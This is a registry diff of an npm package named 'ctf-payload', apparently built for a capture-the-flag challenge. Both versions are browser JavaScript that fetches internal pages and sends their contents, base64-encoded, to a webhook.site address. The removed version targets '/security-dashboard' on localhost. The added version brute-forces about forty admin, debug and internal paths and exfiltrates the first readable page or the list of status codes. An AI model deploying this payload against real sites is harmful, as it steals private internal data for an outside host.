ctf-payload 1.0.5 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +34 -11
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,11 +1,34 @@
1
- if(window.location.hostname === '127.0.0.1' || window.location.hostname === 'localhost'){
2
- // Đang ở localhost → fetch dashboard được!
3
- fetch('/security-dashboard').then(r=>r.text()).then(t=>{
4
- window.location='https://webhook.site/ba852a6a-af9e-42fe-a1a5-89175bd3dc9c?p='+encodeURIComponent('/security-dashboard')+'&d='+btoa(unescape(encodeURIComponent(t)));
5
- }).catch(()=>{
6
- window.location='https://webhook.site/ba852a6a-af9e-42fe-a1a5-89175bd3dc9c?err=fetchfail';
7
- });
8
- } else {
9
- // Đang ở external IP → redirect sang localhost
10
- window.location='http://127.0.0.1:8255/';
11
- }
1
+ (async()=>{
2
+ const paths=[
3
+ '/security-dashboard','/security_dashboard',
4
+ '/local','/local-only','/local_only',
5
+ '/dashboard','/dashboard/local',
6
+ '/admin','/admin/local',
7
+ '/secure','/secure-dashboard',
8
+ '/view','/viewer','/report',
9
+ '/violations','/violation',
10
+ '/log','/logs','/audit',
11
+ '/panel','/control','/monitor',
12
+ '/status','/info','/debug',
13
+ '/secret','/hidden','/private',
14
+ '/internal','/internal-only',
15
+ '/sec','/sec-dashboard',
16
+ '/security','/security/dashboard',
17
+ '/security/view','/local/view',
18
+ '/dashboard/view','/admin/view'
19
+ ];
20
+ const results=[];
21
+ for(const p of paths){
22
+ try{
23
+ const r=await fetch(p);
24
+ results.push(p+':'+r.status);
25
+ if(r.ok){
26
+ const t=await r.text();
27
+ window.location='https://webhook.site/ba852a6a-af9e-42fe-a1a5-89175bd3dc9c?p='+encodeURIComponent(p)+'&d='+btoa(unescape(encodeURIComponent(t)));
28
+ return;
29
+ }
30
+ }catch(e){results.push(p+':err');}
31
+ }
32
+ // Gửi toàn bộ status codes về
33
+ window.location='https://webhook.site/ba852a6a-af9e-42fe-a1a5-89175bd3dc9c?results='+encodeURIComponent(results.join(','));
34
+ })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ctf-payload",
3
- "version": "1.0.5",
3
+ "version": "1.0.6",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "test": "echo \"Error: no test specified\" && exit 1"